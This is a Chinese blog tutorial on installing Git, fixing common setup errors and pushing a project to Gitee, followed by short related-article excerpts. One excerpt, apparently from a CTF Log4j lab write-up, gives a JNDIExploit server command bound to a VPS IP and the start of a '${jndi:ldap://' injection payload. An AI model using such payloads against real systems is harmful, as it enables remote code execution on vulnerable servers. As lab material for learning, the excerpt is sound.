Git 安装、配置并把项目托管到码云 Gitee

错误聚集篇:

由于我 git 碰见大量错误,所以集合了一下:

git 把项目托管到 码云出现的错误集合_打不着的大喇叭的博客-CSDN博客icon-default.png?t=N6B9https://blog.csdn.net/weixin_49931650/article/details/132460492

1、安装 git

  • 1.1  安装步骤

  • 1.1.1  下载对应安装包

网址:Git - Downloading Package (git-scm.com)

 由于我的是64位系统,所以选第二个。(桌面上鼠标右键 “计算机” 或者 “此电脑” 点击 “属性” 查看操作位数)

  • 1.1.2  双击运行程序

  • 1.1.3  点击 Next 即可

  • 1.1.4  现在确认 git 安装目录

我选择 D盘 ,默认 C盘 也行,然后 Next

  • 1.1.5  继续 Next 便可

什么都不用动,直接猛点 Next,直到 git 开始安装

  • 1.1.6  等待安装即可

  • 1.1.7  点击Finish完成安装


  • 1.2  配置步骤

  • 1.2.1  设置用户名和邮箱成功 

        1、桌面右键选择 git bush

        2、在打开的窗口上使用命令设置用户名:【用户名是github或者gitee用户名】

 git config --global user.name "xxxxx"

        3、使用命令设置邮箱:【邮箱为你的gitee或者github邮箱】

git config --global user.email xxxxx@qq.com

        4、使用命令判断是否成功:【出现下面字眼成功】

git config --list

2、使用 Git 管理项目

  • 2.1  本地管理

  • 2.1.1  设置完成后初始化本地 Git 仓库

git init

出现"Initialized empty Git repository in ------/git/.git/"表示仓库创建成功。

  • 2.1.2  将所有文件都加入到暂存区

git add .
  • 2.1.2.1  一步成功

如果没有提示,或者只有一些无用的警告,证明设置成功,然后执行下面命令,查看页面状态,出现一堆绿色文字,证明已经将所有文件都加入到暂存区

git status

  • 2.1.2.2  出现错误 fatal: detected dubious ownership in repository

出现了下面这个东西,这个错误提示是由于 Git 检测到了一个具有可疑所有权的仓库,并且当前用户与该仓库的所有者不匹配

 为了解决这个问题,Git 提供了添加目录例外的配置选项。你可以使用以下命令向全局 Git 配置中添加一个安全目录的例外:

注意:不要复制我的,如果你出现上图错误,你按照他给出的填
git config --global --add safe.directory C:/Users/hp/Desktop/uniapp/uni-shop

执行上述命令,Git 将会忽略这个目录的所有权检查,使得你可以正常地进行操作和提交。

  • 2.1.2.3  又出现 Permission denied 权限错误

如果还是不行,并出现权限不足的错误:

error: could not lock config file --- Permission denied。

1、我们以管理员身份运行 Git Bash

 2、我们以管理员身份运行 Git Bash,并 cd 进入项目目录

 3、进行使用 git add . 命令,成功,只是出现一堆无关紧要的警告

 然后执行下面命令,查看状态,出现一堆绿色文字证明成功

git status

  • 2.1.3  本地提交更新

git commit -m "init project"

执行下面命令查看状态,看看是否成功,出现下面内容表示成功了


  • 2.2  把项目托管到码云

  • 2.2.1  注册并激活码云账号

码云 Gitee 网址 :https://gitee.com/signup

  •  2.2.2  生成并配置 SSH 公钥

没有.ssh文件夹,就在下面创建一个 .ssh 文件夹 ,有的就跳过这几个步骤

输入你的邮箱
ssh-keygen -t rsa -C "xxx@xx.com"

在上面,可能别的博客直接三个回车就行,我的不行,注意框框的内容,是这个就的在后面加上自己的路径,注意:可能你users文件夹下面不是hp,还是看看你自己的是什么

然后复制密钥到码云

地址:SSH公钥 - Gitee.com 

 然后,输入下面命令,查看是否连接上码云,如果连接上就往下面看

  • 2.2.2.1  错误:git@gitee.com: Permission denied (publickey)

大冤种来了,我又报错了:git@gitee.com: Permission denied (publickey)

 

 照着上面敲,然后把 密匙 重新提交到码云,就可以了

  • 2.2.3  创建空白的码云仓库

  • 2.2.4  把本地项目上传到码云对应的空白仓库中

  1. 选择 SSH 
  2. 分别复制最后两条命令进 git bash【注意:要在目根目录下右键打开git bash】
git remote add origin git@gitee.com:gbaes/uni-shop2.git
git push -u origin "master"

最后,成功执行后,就可以刷新码云,看见,整个项目都在上面了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/50315.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文了解Gin对Cookie的支持z

1. 引言 本文将从Web应用程序处理请求时需要用户信息,同时HTTP又是无状态协议这个矛盾点出发。从该问题出发,简单描述了解决该问题的Token 机制,进而引出Cookie的实现方案。 基于此我们将详细描述Cookie的规范,然后详细描述具体…

蓝牙资讯|安卓将加强耳机音量监控,耳机查找功能将更加普遍

为了保护用户的听力健康,Android 14 将增加一项新功能,当用户使用耳机听音乐时,如果音量过高或持续时间过长,系统会发出警告,并自动降低音量。这个功能叫做“耳机音量过高警告(headphone loud sound alert&…

javaee idea创建maven项目,然后创建servlet

idea创建maven项目 参考我的上一篇博客点击查看 创建servlet 步骤一 引入依赖 步骤二 新建directory并设置mark directory as 步骤三 新建package和servlet

JVM——类加载与字节码技术—编译期处理+类加载阶段

3.编译期处理 编译期优化称为语法糖 3.1 默认构造器 3.2 自动拆装箱 java基本类型和包装类型之间的自动转换。 3.3泛型集合取值 在字节码中可以看见,泛型擦除就是字节码中的执行代码不区分是String还是Integer了,统一用Object. 对于取出的Object&…

ctfshow-Log4j复现-log4j复现

1、买VPS,打开mobax进行ssh连接,开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

2023年8月22日OpenAI推出了革命性更新:ChatGPT-3.5 Turbo微调和API更新,为您的业务量身打造AI模型

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

Linux面试笔试题(6)

91、6块300G的硬盘做raid5,新的设备容量是多大(C) A 900G B 1800G C 1500G D 300G 6300G−300G 1500G 由于一块硬盘用于奇偶校验,所以设备容量将是1500G. Raid 5是一种磁盘阵列,将数据分散到多个硬盘上以提高性能和可…

聚合函数与窗口函数

聚合函数 回答一 聚合函数(Aggregate Functions)是SQL中的函数,用于对一组数据进行计算,并返回单个结果。聚合函数通常用于统计和汇总数据,包括计算总和、平均值、计数、最大值和最小值等。 以下是一些常见的聚合函…

Xmake v2.8.2 发布,官方包仓库数量突破 1k

Xmake 是一个基于 Lua 的轻量级跨平台构建工具。 它非常的轻量,没有任何依赖,因为它内置了 Lua 运行时。 它使用 xmake.lua 维护项目构建,相比 makefile/CMakeLists.txt,配置语法更加简洁直观,对新手非常友好&#x…

Oracle-day1:scott用户、查询、取整、截取、模糊查询、别名——23/8/23

整理一下第一天软件测试培训的知识点 1、scott用户 -- 以system管理员登录锁定scott用户 alter user scott account lock;-- 以system管理员登录解锁scott用户 alter user scott account unlock;-- 以system管理员用户设置scott用户密码 alter user scott identfied by tiger…

libdrm全解析一 —— 总述

本文参考以下博文: Linux libdrm代码完全解析 LIBDRM使用 最简单的DRM应用程序 (single-buffer) Linux libdrm库入门教程 10. DRM图形显示框架 LIBDRM 特此致谢! 一、介绍 BLFS中给出的介绍 libdrm提供了一个用户空间库&…

Sulfo-CY3 DBCO在生物传感和靶向标记方面的优势

​欢迎来到星戈瑞荧光stargraydye!小编带您盘点: Sulfo-Cyanine3 DBCO在生物传感和靶向标记方面具有许多优势,使其成为生物医学研究中的工具。以下是Sulfo-Cyanine3 DBCO在生物传感和靶向标记方面的主要优势: **1. 特异性&#x…

PostgreSQL-研究学习-介绍与安装

PostgreSQL-预研 是个很厉害的数据库的样子 ψ(*`ー)ψ 官方文档:http://www.postgres.cn/docs/12/ 总的结论和备注 PgSQL 支持对JSON的支持很强大,以及提供了很多数学几何相关的数据类型【例:点,线条,几何…

【面试题】:axios二次封装都进行了哪些配置以及如果项目里面有两个baseURL你怎么解决?

一.axios的概念 Axios 是一个基于 promise 网络请求库,作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 XMLHttpRequests。 二.axios的特点&#xf…

动态调用python类和函数

遇到一个需求,需要尽可能的尝试触发python模块里的行为,比如函数,类实例这样,感觉和java里的反射有点像;通过调研发现python里有getattr这个方法,类似于java里的反射机制,可以通过字符串比较方便…

5.11 汇编语言:仿写IF条件语句

条件语句,也称为IF-ELSE语句,是计算机编程中的一种基本控制结构。它允许程序根据条件的真假来执行不同的代码块。条件语句在处理决策和分支逻辑时非常有用。一般来说,条件语句由IF关键字、一个条件表达式、一个或多个代码块以及可选的ELSE关键…

java开源 VR全景商城 saas商城 b2b2c商城 o2o商城 积分商城 秒杀商城 拼团商城 分销商城 短视频商城 小程序商城搭建 bbc

​ 1. 涉及平台 平台管理、商家端(PC端、手机端)、买家平台(H5/公众号、小程序、APP端(IOS/Android)、微服务平台(业务服务) 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis 3. 前…

回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图)

回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图) 目录 回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图)效…

go gorm一对多has many

has many 与另一个模型建立了一对多的连接。 不同于 has one,拥有者可以有零或多个关联模型。 例如,您的应用包含 user 和 credit card 模型,且每个 user 可以有多张 credit card。 定义model // User 有多张 CreditCard,UserI…

python中的matplotlib画直方图(数据分析与可视化)

python中的matplotlib画直方图(数据分析与可视化) import numpy as np import pandas as pd import matplotlib.pyplot as pltpd.set_option("max_columns",None) plt.rcParams[font.sans-serif][SimHei] plt.rcParams[axes.unicode_minus]Fa…